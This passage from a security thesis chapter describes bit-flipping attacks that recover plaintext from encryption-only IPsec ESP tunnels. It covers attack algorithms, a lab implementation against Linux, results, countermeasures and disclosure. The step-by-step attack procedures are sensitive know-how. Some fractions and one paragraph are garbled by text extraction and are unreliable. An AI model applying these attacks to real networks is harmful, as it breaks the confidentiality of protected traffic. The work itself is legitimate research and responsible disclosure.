In an important variant of this attack, if the attacker has knowledge of the full inner source address, he can exploit it by rewriting this address, thus ensuring that any ICMP response is directed to a host he controls. This removes the requirement that the attacker be able to monitor the security gateway for ICMP messages. This variant, now requiring an average of $2^{15}$ iterations, proceeds as follows.

1. Capture a target ESP datagram represented by $\text{OuterHeader}$ and 128-bit ciphertext blocks $C_0 || C_1 || \ldots || C_q$.

2. Choose parameters $i, (0 \leq i < 8)$, such that when the protocol field is flipped at position $i$ the resulting protocol value is not supported by the end host at the destination address.

3. Choose IP address $\text{AttackSrc}$, a machine under the attacker’s control.

4. Modify block $C_0 = IV$ in the third 32-bit word, XORing it with a mask which flips the protocol field in position $i$ and changes the Source Address field to $\text{AttackSrc}$, obtaining a block $C''_0$.

5. Set counter $c$ to $0$.

6. **Repeat:**
   
   a. Modify block $C''_0$ in the last 16 bits in the third 32-bit word, by XORing those bits by mask 16-bit binary representation of $c$. Let $C'''_0$ denote the modified block. Increment $c$. 

128
b. Prepare a datagram $\text{OuterHeader} \| C'_0 \| C_1 \| \ldots \| C_q$. Inject this modified datagram into the network.

Until an ICMP message is intercepted.

7. Save the datagram $\text{OuterHeader} \| C'_0 \| C_1 \| \ldots \| C_q$

### 6.5.2 The 128-Bit Attack: The Second Phase

As with the attack in Section 6.4, once the first phase is complete, a second phase which recovers the contents of the remainder of the initial target datagrams and further target datagrams can be invoked. Once again, we reuse the technique from Section 6.3.2, replacing blocks $C_3, C_4, \ldots$ of the ESP-encrypted portion of the successful datagram from the first phase with target ciphertext blocks. These datagrams are injected into the network and eventually the inner datagram is received by the end host. By reusing the the blocks $C'_0 \| C_1 \| C_2$ we ensure that the protocol field in the inner header is one not supported by the end host and generates an ICMP “protocol unreachable” error directed to a host outside the tunnel (or an attacker-chosen host if the variant was used in the first phase).

In order for this phase to be completely successful, the attacker must be able to obtain one complete plaintext block corresponding to an arbitrary chosen target ciphertext block. Due to the need to preserve ciphertext blocks $C'_0 \| C_1 \| C_2$, the first available position for the target block $C_T$ is at $C_3$. Taking into account the minimum of two blocks preserved for the padding and ESP trailer, this places a condition for the first phase target ciphertext to be at least 6 blocks in length (including the IV). Recall that the inner header occupies the whole of $P_1$ and the first 32-bit word of $P_2$, followed by inner payload bytes. This means the ICMP implementation must return all the inner datagram payload bytes in $P_2$ (three 32-bit words) and $P_3$ (four 32-bit words) — in other words, 28 payload bytes, the last 16 of which are of interest to the attacker in this phase.

This condition is certainly met if the end host is running Linux and a suitably sized target is chosen in the first phase. If ICMP carries $p$ bytes of payload, where $p$ is between 13 and 28, then $p - 12$ bytes of every plaintext block can be recovered efficiently. If $p$ is less than 13, then no further bytes can be recovered in this second phase.2 In this case, we can use yet another variant of the first phase in which the target ciphertext block replaces $C_2$ and we modify the IV to try all possible checksum values until an ICMP datagram is received. This variant can be used to recover $p + 4$ bytes of plaintext data from each block, using on average $2^{15}$ iterations per block. For example, if the end host is running Microsoft Windows 2000, then $p = 8$ and 12 out of 16 bytes per block should be recoverable using this method.

### 6.5.3 The 64-Bit Attack: The First Phase

A similar, but less efficient, attack is possible when the block cipher used by ESP has 64-bit blocks. Since the protocol field is located in decrypted plaintext block $P_2$, we cannot

---

2In accordance to RFC 792 [168], $p$ should be at least 8.
6.5 Attacks Based on Protocol Field Manipulation

manipulate this field by altering the IV. Instead, the protocol field is manipulated by
randomising only the last 32 bits of ciphertext block $C_2$, which serves to both randomise
the block $P_2$ and leave the destination address intact.

The block $C_2$ then decrypts to give $P_2$ containing TTL, Protocol, Header Checksum
and Source Address fields that are effectively random, while the Destination Address,
occupying the first 32 bits of $P_3$, is left unaltered. The success probability of the attack is
now limited by the need for:

1. the now random checksum to have the correct value, with a probability of $2^{-16}$,
2. the random protocol field to represent an unsupported protocol at the end host, with
   a probability of about $\frac{2^{251}}{2^{256}}$,
3. the TTL field to have a value greater than 1, with a probability of $\frac{2^{54}}{2^{56}} = \frac{127}{128}$.

Item 3 above assumes a TTL of 2 is large enough for the inner datagram not to be
dropped by any intermediate routers between the target gateway and the end host. For
larger networks, where more hops are expected between the gateway and end host, the
minimum working TTL field may need to be adjusted to a larger value. From the figures
above, it is estimated that this phase will take 67400 iterations on average. This figure will
rise if the TTL threshold is increased. We present this phase in algorithmic form below:

1. Capture a target ESP datagrams represented by $\text{OuterHeader}$ and 64-bit ciphertext
   blocks $C_0∥C_1∥\ldots∥C_q$.
2. Set counter to 0
3. Repeat:
   a. Modify block $C_2$ in the last 32 bits, by setting these bits to the 32-bit binary
      representation of the counter value. Let $C_2'$ denote the modified block. Incre-
      ment $c$.
   b. Prepare a datagram $\text{OuterHeader}∥C_0∥C_1∥C_2'∥\ldots∥C_q$. Inject this modified
datagram into the network.
   Until an ICMP message is intercepted.
4. Save the datagram $\text{OuterHeader}∥C_0∥C_1∥C_2'∥\ldots∥C_q$, where $C_2'$ holds the value at
   the exit of the loop.

6.5.4 The 64-Bit Attack: The Second Phase

To recover further plaintext blocks, the attacker constructs datagrams by reusing blocks
$C_0∥C_1∥C_2'∥C_3$ from the first phase, ensuring that the decrypted inner header will trigger
an ICMP response. Then he replaces $C_4∥C_5∥\ldots$ with target ciphertext blocks, ending with
$C_{q-1}∥C_q$ (padded with dummy blocks and including $C_{q-2}$ if necessary). When the con-
structed datagram is sent to the target gateway, the inner datagram eventually reaches the
6.6 Implementation of the Attacks

6.6.1 Experimental Setup

The experimental network setup, shown in Figure 6.6 consists of four GNU/Linux machines. Two machines serve as security gateways for an IPsec ESP tunnel, while another is an attack platform which eavesdrops on all the traffic between the gateways. These three machines are connected to a simple Ethernet hub. Also connected to this hub is a router, configured to run as the default router for the security gateways, thus ensuring that any ICMP message can take at least the first hop towards its destination. The remaining machine sits behind one of the gateways, acting as an end host and only participates in the experiments in which Protocol fields are manipulated. The whole network is isolated from the public Internet and the internal networks at Royal Holloway.

The IP addresses for IPsec Gateways A and B are 192.168.1.74 and 192.168.1.75 respectively, while the Attack Platform is at 192.168.1.76. The gateways share the subnet mask 255.255.252.0 (or /22 for short) and they all use the default gateway at 10.0.0.1 (the router in Figure 6.6). Gateway B is also a router for the subnet 192.168.8.0/22, and with its inward facing network interface having an IP address of 192.168.8.1. The end host, using Gateway B as the default router and IPsec gateway, is assigned an IP end host indicated by the unmodified destination address field, which, in response to the unsupported protocol field, generates an ICMP protocol unreachable message, containing a number of payload bytes from the decrypted inner datagram.

In this attack, in order for the attacker to obtain one complete plaintext block corresponding to the target block at $C_4$ from each ICMP datagram received, the target end host must return at least 12 bytes of the inner payload. For ICMP implementations that carry $p \leq 12$ bytes of payload, this phase of the attack returns $p - 4$ bytes of plaintext efficiently. For example, for ICMP that returns 8 bytes of payload, half a plaintext block can be recovered per trial.
address of 192.168.8.100.

All the machines are equipped with Intel Pentium III processors and have SUSE Linux 9.1 installed except for the end host, which runs on a version of RedHat Linux. The gateways are upgraded to the official Linux kernel version 2.6.8.1 built from source, as it was the latest release at the time the research was conducted. The network environment has a capacity of 10MBit/s (10Base-T) and is completely isolated from the Internet.

Various tests were performed on the hosts to ascertain the feasibility of the attacks on tunnel mode ESP before commencing on implementing the attacks. The tests include observing Linux’s ICMP behaviour in response to malformed IP headers, examining the contents and sizes of ICMP datagrams, and enumerating unsupported transport protocol values.

IPsec policy and SA settings on the gateways, including manual keying, are configured using IPsec-Tools [6]. A shell script is invoked on each of the gateways to initiate the IPsec tunnel, parameterised to use either DES (64-bit block size) or AES (128-bit block size) as the encryption algorithm with the required IPsec policies and manual keying. Once the IPsec tunnel is set up, tcpdump [17], a network analyser, is run on the attack platform to confirm that the packets sent through the tunnel are visibly encrypted and conform to the ESP format.

The attack client, named spice, is a text-based program written in standard C and built using the GNU C compiler (gcc) version 3.3.3. Its purpose is of a proof-of-concept and demonstrative nature, and it is therefore usefully functional rather than highly optimised and fully featured. Application Programming Interfaces (APIs) and software libraries used to develop spice include the Socket and Raw Socket interfaces for receiving and sending specifically crafted IP datagrams, libpcap library (written by the tcpdump authors) for capturing packets on the wire, and the POSIX threads (Pthreads) interface for multi-threaded (concurrent) programming in Linux.

A run of spice starts with a packet collecting stage, where the program puts the attack host’s network interface in promiscuous mode. The program then listens for and collects all packets that match the criteria as specified by the command-line parameters. Packet decryption is performed at the next stage, which normally involves running the two phases of one of the three attacks above, at the end of which plaintext packets are displayed on screen as hex values as well as ASCII characters. The current implementation of spice only supports packet recovery in one traffic direction. A full listing of the C source code for spice can be found in Appendix A.

### 6.6.2 Destination Address Rewriting Attack

#### 6.6.2.1 Experiment

As a proof of concept and as a precursor to our main attacks, we implemented the 128-bit version of the first phase of the destination address rewriting attack, as described in Section 6.3.4, against IP and IPsec as implemented in the Linux kernel. We implemented
the variant of the attack that used a randomised ciphertext block $C_2$, in which a decrypted inner packet would be forwarded to a randomised destination address.

We first set up the network and the tunnel mode ESP using AES in CBC mode, then launched spice, the attack client, on the attack platform.

IPsec Gateway A generated network traffic destined for the end host by sending out either ICMP echo request packets issuing the command `ping 192.168.8.100`, or arbitrary packets with varying sizes using a custom written C program. These packets were carried through the IPsec tunnel and arrived at Gateway B, where they were decrypted and then forwarded to the end host. All the while spice had been monitoring and collecting encrypted packets from the tunnel.

After a number of IPsec packets were collected, we pressed a button on the attack platform signalling to spice to progress from the collecting stage to the decryption stage. Spice simply chose the first collected packet as its target for the first phase of the attack. This phase of the attack involved randomising ciphertext block $C_2$ and trying all possible values of the IP header checksum by flipping bits in the corresponding positions in the IV. Once a diverted plaintext packet from Gateway B was detected, spice terminated.

### 6.6.2.2 Results

Over a few experiments, we found that, as predicted, roughly $2^{15}$ iterations were sufficient to produce the plaintext-bearing datagram. This experiment confirmed the fact that the Linux implementation of IPsec does not carry out the policy checks described in Section 5.3.2, otherwise every modified inner datagram would have been dropped because the Destination Address selector would have failed to match the those in the Security Policy Database.

### 6.6.3 Options Processing Attack

#### 6.6.3.1 Experiment

For this attack we focus on the 64-bit variant. In order to estimate the attack complexity empirically, we started by running a few further experiments. Using IP directly (without IPsec) we presented to the target gateway a series of 10000 specifically crafted packets with a random source address, a header length field greater than 5 and random options bytes, and kept a tally of ICMP Parameter Problem responses captured. This experiment was meant to simulate the first phase of our attack, whose result would be used to estimate the average number of trials needed for the first phase.

We have implemented and successfully carried out the two phases of the 64-bit variant of the options field attack. We describe the main features here. The laboratory network was set up as before, and IPsec was invoked with DES, a 64-bit block cipher. Spice was launched and started gathering all encrypted packets generated by Gateway A and destined for Gateway B. Packets of a variety of sizes were generated for this attack. When we signalled the end of the gathering stage, spice chose one from the collected packets as
a target for the first phase of this attack.

For the first phase, the packet whose size was closest to the optimal was chosen in order to maximise the amount of plaintext bytes returned in each trial in the second phase. Also to that end, a value of 6 was used for the modified IHL field. This requires a corresponding mask value for the 4-bit field of \texttt{0011}. \texttt{Spice} then generated and sent out, one by one, modified packets with random 32-bit settings in the latter half of ciphertext block $C_2$, until an ICMP Parameter Problem message was intercepted.

In order to minimise the time taken for the first phase (at least in a laboratory setting), one would naturally attempt to produce these trial packets as rapidly as possible without saturating the network capacity or causing packets to be dropped otherwise, and this is exactly how \texttt{spice} was implemented. Since there was an unpredictable time delay between sending a packet with a valid checksum and receiving the resulting ICMP error message, and we needed to pinpoint the exact trial packet corresponding to the ICMP response, we implemented a second pass for the first phase trials. As soon as the an ICMP message was received, the last 10 iterations of the trials were repeated and a delay of $1/4$ of a second was set in-between trials. This arrangement allowed ample time for an ICMP response to arrive before the next trial packet was sent, thus pinpointing the successful ICMP-generating modified packet, to be reused in the second phase. A third pass was then run to doubly confirm that the packet in question did in fact cause the target gateway to generate the ICMP error message.

In the second phase, \texttt{spice}, using the successful packet from the first phase as described earlier, attempted to decrypt all intercepted ESP protected packets one at a time in the order of their receipt. The number of trials needed to decrypt each complete inner packet depends on the size of the inner packet itself, and the number of plaintext blocks carried in each returned ICMP packet. The latter, in turns, depends either on the ICMP implementation, or the size of the inner payload of the first phase target (taking into account increased header length), whichever is smaller. After successful extraction of a complete packet, \texttt{spice} simply displays its content on screen, both in hex and ASCII (where printable). \texttt{Spice} exited after all intercepted packets had been decrypted.

We have found experimentally and by examining the source code that, in accordance with [37], Linux used the “leaky bucket” traffic shaping algorithm to limit the rate at which ICMP messages could be generated to about 3 to 4 per second on average. We sidestepped this issue by removing the limit altogether, by the use of the Linux \texttt{sysctl} command (with appropriate parameters) on the IPsec gateway. This is, of course, unrealistic in a real-world scenario, where the attacker would have to insert appropriate delays between issuing ICMP-generating packets, thus limiting the rate at which plaintext could be recovered in the second phase.

### 6.6.3.2 Results

The initial experiment reveals that presenting a datagram with a random source address and random options bytes to the IP implementation in Linux results in an ICMP Parameter
Problem message with probability about 0.85. Moreover, the probability that a random 16-bit value represents the correct header checksum for the modified inner datagram was assumed to be $2^{-16}$. Thus the expected success probability per iteration of the first phase of the attack in the 64-bit case was roughly $0.85 \times 2^{-16}$, meaning that the success probability after $t$ iterations should be:

$$1 - (1 - 0.85 \times 2^{-16})^t$$  \hspace{1cm} (6.1)

From this, a theoretical curve was drawn, showing success probability against the number of iterations made; from (6.1) it can also be calculated that $2^{16}$ iterations should give a success rate of 57%.

We performed 100 runs of the first phase of the attack. An average of 77600 iterations (taking on average 2.64 minutes with our attack client) were needed to successfully generate an ICMP message. Over these 100 runs, the minimum number of iterations needed was found to be 1884 and the maximum 292000 (the latter taking about 10 minutes). Figure 6.7 shows the percentage of runs needing a particular number of iterations for success, both as predicted by (6.1) and as observed in our experiment. It can be seen that theory and experiment are in excellent agreement.

ICMP messages generated by Linux contained as many bytes as possible from the original datagram without the ICMP datagram itself exceeding 576 bytes. This in turn translates to 524 bytes of inner datagram payload in ICMP messages once various headers have been stripped off. As a consequence, the first phase and each trial in the second phase yields 520 bytes of plaintext data (provided the encrypted payload in the target selected
for the first phase is longer than 568 bytes, including the IV and encrypted inner header). Thus the second phase can rapidly recover large amounts of plaintext. For example, a typical inner datagram carrying 1500 bytes of payload can be recovered using just 3 trials in the second phase.

6.6 Implementation of the Attacks

6.6.4 Protocol Field Attack

6.6.4.1 Experiment

This attack requires the attacker to modify the inner Protocol field to a value that is unsupported by the end host. While the list of assigned protocol numbers [1] defines over half of the possible 256 values, we expected that only a handful of protocols would be supported on a typical desktop-type end host. We therefore conducted experiments to enumerate the typical protocol values supported on the common desktop operating systems. This involved sending to the target host a series of packets, each of which carries one of the possible 256 protocol values, while taking care not to cause the host to exceed its ICMP generation rate limit. At the same time, we listened for ICMP “protocol unreachable” responses. Those values that did not produce an ICMP response were the ones supported by the target host. Analysis of the list of typically supported protocols allows the attacker to optimise his bit flipping strategy for the protocol field.

We implemented the 128-bit variant of this attack. In the first phase of the attack, we chose values $i$ and $j$ such that $0 \leq i < 8$ and $0 \leq j < 32$ for bit positions to be flipped for the protocol field and the source address respectively. In order also to test the general two bit flip checksum mask generation algorithm, we chose $i$ and $j$ such that $i \neq j \mod 16$. This assumes that a single bit flip in the protocol field would be enough to generate ICMP responses. We then iterated over the checksum masks generated as a function of $i$ and $j$ as described in Section 6.5.1.2. The second phases, as before, made use of the successful header from the first phase to recover multiple plaintext blocks per query from target ciphertext blocks. Again, care was taken to leave a short interval between iterations in order to detect ICMP messages accurately.

6.6.4.2 Results

The initial experiment showed that the target Linux end host supported transport protocol values 1 (ICMP), 2 (IGMP), 6 (TCP), 17 (UDP) and 50 (ESP). As all the values are less than 127, it is easy to see that a single flip in the most significant bit (bit 7, numbered from 0) was enough to create an unsupported value in the protocol field.

In our implementation we chose $i = 7$ and $j = 25$. We performed 1000 runs of the first phase of the attack. An average of 6.53 iterations (taking 1.34 seconds with our attack client) was needed to successfully generate an ICMP “protocol unreachable” message. Over these 1000 runs, the minimum number of iterations needed was found to be 1 and the maximum 80, with a standard deviation of 7.94 iterations. Figure 6.8 shows the percentage of runs needing a particular number of iterations for success, both as predicted.
6.6 Implementation of the Attacks

by the analysis sketched in Section 6.5.1 and as observed in our experiment. Reusing ICMP-inducing ciphertext blocks from phase 1, phase 2 successfully recovered up to 32 arbitrary 128-bit plaintext blocks, or 512 bytes, at each trial.

On the whole theory and experiment agree quite well, despite what seems to be minor discrepancies and anomalies. In fact the first phase experimental average of 6.53 is noticeably lower than the theoretical average of 7.00. We hypothesise that the difference is due to the fact that the correct checksum, which we assumed to be random in our calculations, may be biased towards certain values that can be corrected by our higher probability checksum masks. The same effect may account for the experimental deviations from the theoretical curve where several jumps in success rate can be observed. We did not probe further into these irregularities, as it is likely to be of relatively little practical consequence.

Figure 6.8: Cumulative success rate for 1000 experiments

6.6.5 Summary of Attacks

We summarise in Table 6.4 the characteristics of the main variants of all attacks presented in this chapter. For each attack and its 64- and 128-bit variants, the table entry displays the average complexity, indicates whether the complexity is calculated or experimental, and whether recovered plaintext-bearing datagrams can be directed to the attacker’s host or network. The table relates to the first phase of the respective attacks only, since the first phase of each attack contributes most to the attack complexity, although a first phase only needs to be performed once for datagrams encrypted under the same key. The second phases of all the attacks share similar characteristics and are omitted here.
<table>
<thead>
<tr>
<th>Attack</th>
<th>Block Size</th>
<th>Avg Comp</th>
<th>Calc/Exp</th>
<th>Directed</th>
<th>Implemented</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dest Addr</td>
<td>64</td>
<td>$2^{17}$</td>
<td>C</td>
<td>✓</td>
<td>×</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>$2^{39}$</td>
<td>C</td>
<td>✓</td>
<td>×</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>$2^{15}$</td>
<td>C</td>
<td>×</td>
<td>✓</td>
</tr>
<tr>
<td>Options</td>
<td>64</td>
<td>77600</td>
<td>E</td>
<td>×</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>$2^{15}$</td>
<td>C</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Protocol</td>
<td>64</td>
<td>67400</td>
<td>C</td>
<td>×</td>
<td>×</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>6.53</td>
<td>E</td>
<td>×</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>$2^{15}$</td>
<td>C</td>
<td>✓</td>
<td>×</td>
</tr>
</tbody>
</table>

Table 6.4: Attacks summary

### 6.7 Impact

#### 6.7.1 Practical Impact

We have presented a number of attacks and variants on encryption-only ESP in tunnel mode. The attacks are efficient and have been demonstrated to work under realistic network conditions. We have also explained how the attacks can be made even more achievable when information concerning the Source Address of inner datagram is available to the attacker, or easily partially predicted by the attacker as is commonly the case. Somewhat counter-intuitively, a configuration of ESP using a 128-bit block cipher such as AES may be more vulnerable to attack than one using a 64-bit block cipher. The underlying reason for this is that in the 128-bit case, more fields of the inner header can be manipulated by modifying the IV without any impact on the contents of plaintext blocks. A related point is that the complexity of the attacks does not depend on the key size of the block cipher employed by ESP; triple-DES is just as vulnerable as DES.

We focussed on Linux in our implementation of the attacks. The open-source nature of Linux has enabled us to examine in detail its implementation of the IP, ICMP and IPsec protocols and assess the feasibility of various attack ideas before committing to the laborious process of code development. The availability of development tools and software libraries, and the ease with which simple IPsec policies could be specified (and modified) and network diagnostics performed make it an ideal platform for this kind of research. We note that, as with [149], our work demonstrates that the open source approach does not necessarily result in secure software: an encryption-only configuration was all too easy to select, the IPsec implementation did not carry out the post-processing checks mandated in the RFCs, and we found other flaws in the implementation, particularly in the handling of padding (c.f. [191]). Of course, similar issues may arise in proprietary implementations, and the open-source community does have a good track record in quick release of patches.

We have performed only limited experiments against other IP/IPsec implementations, and more work is needed to assess their vulnerability to our attacks. As we have seen, key factors in determining this include:

- the size of payloads in ICMP messages generated by the IP stack,
6.7 Impact

- the way in which the IP handles errors during IP options processing,
- the number of transport layer protocols supported by the OS,
- and whether or not IPsec performs policy checks after cryptographic processing.

As another example of a potentially vulnerable implementation to our attacks, we have been informed that, like Linux, the Sun Solaris implementation of IPsec does not perform these checks\(^3\) [138]. With our existing attack client in place, the testing of further implementations should be straightforward. Whether or not a given deployment of IPsec is vulnerable to our attacks depends on the aforementioned key factors, as well as further issues such as IPsec policy, firewall rulesets and so on.

Concerning the real-world impact of our attacks, we have anecdotal evidence that there are end users who do not fully appreciate the role of integrity protection in security, and assume that encryption-only configurations, as available options, are sufficiently secure to provide confidentiality.\(^4\) However, the extent to which encryption-only IPsec is deployed generally is not an issue that we have been able to assess. On the other hand, several vendors have chosen to disable encryption-only configurations in their IPsec products. As a case in point, Openswan’s developers presented a code fragment showing that encryption must be combined with integrity protection in their implementation [14].

However, disabling encryption-only configurations is not enough to prevent our attacks, as they still apply to some configurations where integrity protection is supplied by IPsec itself. As just one instance, the attacks in Sections 6.3 and 6.4 still work if AH is applied in transport mode end-to-end and is tunneled inside ESP from gateway-to-gateway. This is because the redirection or ICMP generation take place at the gateway, before any integrity checking occurs. Thus the source code fragment presented at [14], by itself, may not be sufficient to prevent our attacks, as it appears only to force users to select some combination of encryption and integrity protection, whereas only particular combinations will definitely prevent our attacks.

With regard to ESP’s continued support for encryption-only configurations, the latest version of the ESP specification states

```
ESP allows encryption-only [...] because this may offer considerably better performance and still provide adequate security, e.g., when higher layer authentication/integrity protection is offered independently.
```

We argue that, contrary to the statement above, integrity protection at a higher layer does not offer any protection against our attacks. Our attacks make no assumptions about the contents of the inner IP payload, and the attacks are completed before these higher layers even have an opportunity to examine the data.

\(^3\)Although Solaris does issue a warning against encryption-only configurations in the `ifconfig` command result.

\(^4\)See, for example, on-line VPN configuration tutorials at [8] and [10].
6.7 Impact

6.7.2 Our Attacks in the Context of ESP Evolution

To fully appreciate the significance of our attacks, it is necessary to recall the evolution of IPsec, and in particular, ESP. Recall Bellovin’s attacks in his 1996 paper [48] mentioned in Section 5.3.9. There is little doubt about the significance and influence of this work on the evolution of IPsec. However, the attacks in [48] are quite limited in their practical impact: a close examination of [48] shows that the attacks presented in [48, Sections 3.1 and 3.2] only work in the rather unrealistic scenario where the attacker has access to accounts on the two hosts performing the IPsec processing. The other concrete attack in [48] is contained in Section 3.8 and is attributed to Wagner. It recovers just a single byte of plaintext, from datagrams having special formats, and then only if $2^{24}$ ciphertexts matching chosen plaintexts are available to the attacker. By contrast, our new attacks are both practical and far more devastating than those of Bellovin.

Nevertheless, Bellovin’s work in [48] has had a positive influence on the development of the IPsec standards. His attacks can be identified as having provided the motivation for the introduction of integrity protection as an option in ESPv2 [111]. Further theoretical support for the need to carefully combine integrity protection and encryption to provide a robust confidentiality service can be found in [44, 120], in the context of other protocol families. This need, a long folklore in the cryptographic community, is now supported by provable security arguments — see for example [43, 46, 105].

Given that Bellovin’s work is so widely cited and is broadly interpreted as saying that ESP should never be used without integrity protection, one might expect that our new attacks, as powerful as they are, would have few practical consequences today. We believe that the very opposite of this is true.

Although RFC 2406 [111] discourages the use of ESP without additional integrity protection (citing [48] when doing so), this second version of the ESP protocol does not forbid the use of encryption-only ESP. In fact, it requires an encryption-only version of ESP to be supported by implementations. It is our belief that the availability of this option may have led many users into configuring IPsec insecurely. After all, an inexperienced network administrator might reasonably believe that it is sufficient to use an encryption algorithm on its own to provide confidentiality for data. Since this is precisely what the encryption-only version of ESP provides, it would be a natural choice when selecting from amongst the myriad of IPsec options. As evidence for our belief, we note that we have found several on-line tutorials showing, in a command-by-command fashion, how to configure Linux [8] and NetBSD systems [10] to build VPNs that use ESP for encryption but that appear to provide no additional integrity protection. These are, in the light of our work, dangerously insecure. Thus we believe that, even all these years after Bellovin’s landmark paper, our work here may have a significant impact on the security of deployed systems using IPsec.

The latest ESP specification RFC 4303 [109] repeats the advice of [111] concerning the need for integrity protection. It then goes on explain the rationale of maintaining support for encryption-only configurations as quoted in Section 6.7.1, which we demonstrate to be false in the light of our attacks.
6.8 Countermeasures

With the disbandment of the IETF IPsec Working Group in April 2005, it appears unlikely that our work will have influence on the canonical IPsec standards. However, we hope that through disclosure of the attacks to the industry (see Section 6.9) and publication in an academic conference [164], the result of our research will benefit the IPsec community, and hopefully have an influence on developers of future security protocols. We documented our insight into how the IPsec flaw on Linux came about in an article [163] subsequent to the disclosure of the flaws.

6.8 Countermeasures

We report here on the immediate countermeasures that can be taken to ensure systems are not vulnerable to our attacks.

As we have seen, the feasibility, efficiency and effectiveness of plaintext recovery depends on the IP, ICMP and IPsec implementations, configuration of the IPsec tunnel, and operational parameters such as the block size of the encryption algorithm used. While there is no need to publicise all of these details of an IPsec deployment, the prudent security practitioner should never stake the security solely on the secrecy of such information. The practice of “security through obscurity” has a history of backfiring (e.g. [51]) and is never a substitute for good security engineering practice.

Perhaps the simplest way to guarantee immunity from these attacks is to configure ESP so as to use both confidentiality and integrity protection, or a single combined mode algorithm such as that specified in [83]. The additional use of integrity protection within ESP foils our attacks, since the modified datagrams will be immediately detected and rejected with overwhelming probability.

Another option is use the AH protocol alongside ESP to provide integrity protection. However, as we’ve highlighted above, this must be done carefully: the configuration where AH in transport mode is applied end-to-end and tunneled inside ESP is still vulnerable. To thwart our attacks, the encryption end point must be the same as the integrity protection end point, and care must be taken to ensure integrity checks are performed prior to decryption (and vice versa at the encryption end).

Adding some form of integrity protection may not always be desirable or possible in already fielded systems. For example, it may have an unacceptable impact on throughput, or require extensive modification to deployed code. In this situation, using an RFC-compliant implementation that properly implements post-processing checks would be a reasonable approach, although this still does not prevent the attack of Degabriele and Paterson [69]. An alternative is to remove the error reporting, by restricting the generation of ICMP messages by IP software or by filtering these messages at a firewall or security gateway. However, we regard both of these approaches as being less preferable than using some form of integrity protection.
6.9 Disclosure and Reactions

We decided it was in the public interest to disclose the security vulnerability in encryption-only IPsec presented in this chapter. With due observation to the practice of “responsible disclosure”, we did so in collaboration with the UK Government’s National Infrastructure Security Co-ordination Centre (NISCC), now part of the Centre for the Protection of National Infrastructure (CPNI). Their vulnerability team attended a demonstration of our attacks and subsequently contacted IPsec vendors a few weeks before publishing the vulnerability announcement [11], which was relayed by Computer Emergency Response Teams (CERTs) worldwide. This has generated a modest level of media interest [2, 25] and online discussions [15, 16], with a range of views expressed by community members.

6.10 Future Work

We outline here possible directions in which the attacks presented in this chapter can be extended or developed further.

Tests can be conducted to assess to what extent other implementations of IPsec and IP are vulnerable to the above attacks. Target implementations may include other desktop or server operating systems, such as variants of UNIX and Windows, network appliance implementations offered by many vendors such as Cisco and Checkpoint, or standalone implementations such as Openswan and strongSwan. Tests should include, but not be limited to, the presence of IPsec policy checks after packet decryption, IP header processing steps, and the maximum size of payload that an ICMP error message may carry. It would also be interesting to test the validity of Openswan’s claim of invulnerability to our attacks [14].

Using the same attack strategy as the attacks presented, we may be able develop attacks based on other header fields such as ID, fragmentation and TTL fields, all of which have potential to cause ICMP generation by the receiving gateway or end host. Comparisons can then be made to assess the relative merits of the different attack variants.

Arguably the main factor that limits the impact that our attacks have is the dependence of their success on the absence of the mandatory policy checks. This allows one to view our attacks as attacks on flawed implementations but not the standard itself. This is a characterisation we have to accept, despite our and many others’ criticisms of the IPsec standards documentation. It would be pleasing if attacks on standards-compliant IPsec were found, just to hit home our message that all users of encryption-only IPsec are liable to losses of confidentiality, regardless of any integrity protection offered at a higher layer. For this reason, Degabriele and Paterson’s work [69] is a welcome extension to the attacks presented in this chapter.

Our attacks also assume either the attacker’s ability to monitor all outbound traffic from the target gateway, or at least partial knowledge of the inner IP source or destination address. While the former is part of the commonly adopted “worst case” attack model, and the latter is, as explained in Section 6.3.3, not at all unrealistic, the attacks would be
even more powerful if these assumptions were eliminated altogether. A somewhat different approach may be needed for such attacks, such as that used in [69].

Yet more avenues to explore include investigating to what extent the use of stream ciphers with ESP (e.g. [94]), IPsec in IPv6, and transport mode IPsec are susceptible to attacks similar to ones we have developed. Many enhancements may be made to the attack client to improve its software architecture and modularity, and to add functionality by including support for bi-directional attacks and “operating system fingerprinting” methods to automatically optimise the attack strategy for the identified operating system or IPsec implementation.

6.11 Chapter Conclusions

IPsec is a complicated set of protocols, and gaining true security from IPsec lies in the details of configuration, policy, algorithm selection and key management. Despite many years of development, IPsec standards and deployments still allow insecure configurations to be selected. Our work shows just how weak one such configuration can be.

Our attacks yield several lessons for the IPsec community (including theoreticians, authors of standards, implementors and users).

Our view is that configurations known to be weak, either in theory or in practice, should be disallowed in the IPsec standards as much as possible. Our view is that the gap between standards and users that is created by allowing such configurations is too large to bridge, no matter how many warnings are issued in the RFCs. Unfortunately, ESPv3 [109] still permits the use of encryption-only ESP. Naturally, the need for backward-compatibility and the potential for impact on performance may mean that eliminating this mode is unattractive. It can also be argued that users should be permitted to make their own choices about how integrity protection is supplied, in which case it might help if implementors passed on RFC warnings to users. We believe that the dangers of encryption-only ESP that we have highlighted here, coupled with the difficulty of ensuring that security-unaware users pick strong configurations from amongst the myriad possibilities, means that a conservative approach is called for in the standard itself: our experience is that implementors and users can’t be expected to get it right often enough. We note that ESPv3 has included support for combined mode algorithms. These combine encryption and integrity protection into a single authenticated encryption transform. We believe that their inclusion represents a progressive step in the development of IPsec.

The complexity of the IPsec standards has been commented on extensively before [80]. It certainly does not help an implementation team if processing checks important to the security of one module (ESP) are actually contained in another document altogether (RFC 2401, [111]), though it is understandable why, in the case of IPsec, these checks were placed in an architectural document. It is worrying that the security of the encryption-only mode depends completely on these simple checks being carried out: the security dangles from a very thin thread indeed, as our attacks on the native Linux implementation make clear. It
would help, then, if the reasons why those checks need to be performed were spelled out in the standard: this would give an implementor a stronger motivation for getting things right. We note that the quality of the IPsec RFCs is improving in this area: the relevant checks are given in much more explicit detail in the new IPsec architecture document [112]. This should help close the gap between the standards and their implementations.

More generally, we hope that our work can help to bridge the gap between the theory and practice of cryptography. We have presented what we believe to be a compelling demonstration of the weaknesses of encryption-only ESP. We hope that it will be of interest to the whole cryptographic community, in the broadest sense of the word.
Conclusions

7.1 Uniting Themes

